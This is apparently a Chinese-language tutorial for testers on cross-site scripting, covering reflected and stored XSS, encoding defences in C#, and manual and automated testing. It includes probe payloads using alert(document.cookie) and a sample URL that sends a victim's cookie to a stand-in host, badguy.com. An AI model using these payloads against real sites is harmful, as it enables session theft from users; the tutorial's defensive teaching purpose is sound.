XSS 全稱(Cross Site Scripting) 跨站腳本攻擊, 是Web程序中最多見的漏洞。指攻擊者在網頁中嵌入客戶端腳本(例如JavaScript), 當用戶瀏覽此網頁時,腳本就會在用戶的瀏覽器上執行,從而達到攻擊者的目的. 好比獲取用戶的Cookie,導航到惡意網站,攜帶木馬等。html
做爲測試人員,須要瞭解XSS的原理,攻擊場景,如何修復。 纔能有效的防止XSS的發生。程序員
閱讀目錄數據庫
假若有下面一個textbox瀏覽器
<input type="text" name="address1" value="value1from">
value1from是來自用戶的輸入,若是用戶不是輸入value1from,而是輸入 "/><script>alert(document.cookie)</script><!- 那麼就會變成安全
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">
嵌入的JavaScript代碼將會被執行服務器
或者用戶輸入的是 "onfocus="alert(document.cookie) 那麼就會變成 cookie
<input type="text" name="address1" value="" onfocus="alert(document.cookie)">
事件被觸發的時候嵌入的JavaScript代碼將會被執行app
攻擊的威力,取決於用戶輸入了什麼樣的腳本ssh
固然用戶提交的數據還能夠經過QueryString(放在URL中)和Cookie發送給服務器. 例以下圖xss
XSS之因此會發生, 是由於用戶輸入的數據變成了代碼。 因此咱們須要對用戶輸入的數據進行HTML Encode處理。 將其中的"中括號", 「單引號」,「引號」 之類的特殊字符進行編碼。
在C#中已經提供了現成的方法,只要調用HttpUtility.HtmlEncode("string <scritp>") 就能夠了。 (須要引用System.Web程序集)
Fiddler中也提供了很方便的工具, 點擊Toolbar上的"TextWizard" 按鈕
1. Dom-Based XSS 漏洞 攻擊過程以下
Tom 發現了Victim.com中的一個頁面有XSS漏洞,
例如: http://victim.com/search.asp?term=apple
服務器中Search.asp 頁面的代碼大概以下
<html>
<title></title>
<body>
Results for <%Reequest.QueryString("term")%>
...
</body>
</html>
Tom 先創建一個網站http://badguy.com, 用來接收「偷」來的信息。
而後Tom 構造一個惡意的url(以下), 經過某種方式(郵件,QQ)發給Monica
http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>
Monica點擊了這個URL, 嵌入在URL中的惡意Javascript代碼就會在Monica的瀏覽器中執行. 那麼Monica在victim.com網站的cookie, 就會被髮送到badguy網站中。這樣Monica在victim.com 的信息就被Tom盜了.
2. Stored XSS(存儲式XSS漏洞), 該類型是應用普遍並且有可能影響大Web服務器自身安全的漏洞,攻擊者將攻擊腳本上傳到Web服務器上,使得全部訪問該頁面的用戶都面臨信息泄露的可能。 攻擊過程以下
Alex發現了網站A上有一個XSS 漏洞,該漏洞容許將攻擊代碼保存在數據庫中,
Alex發佈了一篇文章,文章中嵌入了惡意JavaScript代碼。
其餘人如Monica訪問這片文章的時候,嵌入在文章中的惡意Javascript代碼就會在Monica的瀏覽器中執行,其會話cookie或者其餘信息將被Alex盜走。
Dom-Based XSS漏洞威脅用戶個體,而存儲式XSS漏洞所威脅的對象將是大量的用戶.
原則: 不相信客戶輸入的數據
注意: 攻擊代碼不必定在<script></script>中
方法一: 查看代碼,查找關鍵的變量, 客戶端將數據傳送給Web 服務端通常經過三種方式 Querystring, Form表單,以及cookie. 例如在ASP的程序中,經過Request對象獲取客戶端的變量
<%
strUserCode = Request.QueryString(「code」);
strUser = Request.Form(「USER」);
strID = Request.Cookies(「ID」);
%>
假如變量沒有通過htmlEncode處理, 那麼這個變量就存在一個XSS漏洞
方法二: 準備測試腳本,
"/><script>alert(document.cookie)</script><!--
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)
在網頁中的Textbox或者其餘能輸入數據的地方,輸入這些測試腳本, 看能不能彈出對話框,能彈出的話說明存在XSS漏洞
在URL中查看有那些變量經過URL把值傳給Web服務器, 把這些變量的值退換成咱們的測試的腳本。 而後看咱們的腳本是否能執行
方法三: 自動化測試XSS漏洞
如今已經有不少XSS掃描工具了。 實現XSS自動化測試很是簡單,只須要用HttpWebRequest類。 把包含xss 測試腳本。發送給Web服務器。 而後查看HttpWebResponse中,咱們的XSS測試腳本是否已經注入進去了。
剛開始我總是把這兩個東西搞混淆, 其實這是兩個不一樣的東西。
HTML編碼前面已經介紹過了,關於URL 編碼是爲了符合url的規範。由於在標準的url規範中中文和不少的字符是不容許出如今url中的。
例如在baidu中搜索"測試漢字"。 URL會變成
http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477
所謂URL編碼就是: 把全部非字母數字字符都將被替換成百分號(%)後跟兩位十六進制數,空格則編碼爲加號(+)
在C#中已經提供了現成的方法,只要調用HttpUtility.UrlEncode("string <scritp>") 就能夠了。 (須要引用System.Web程序集)
Fiddler中也提供了很方便的工具, 點擊Toolbar上的"TextWizard" 按鈕
爲了防止發生XSS, 不少瀏覽器廠商都在瀏覽器中加入安全機制來過濾XSS。 例如IE8,IE9,Firefox, Chrome. 都有針對XSS的安全機制。 瀏覽器會阻止XSS。 例以下圖
若是須要作測試, 最好使用IE7。
ASP.NET中有防範XSS的機制,對提交的表單會自動檢查是否存在XSS,當用戶試圖輸入XSS代碼的時候,ASP.NET會拋出一個錯誤以下圖
不少程序員對安全沒有概念, 甚至不知道有XSS的存在。 ASP.NET在這一點上作到默認安全。 這樣的話就算是沒有安全意識的程序員也能寫出一個」較安全的網站「。
若是想禁止這個安全特性, 能夠經過 <%@ Page validateRequest=「false" %>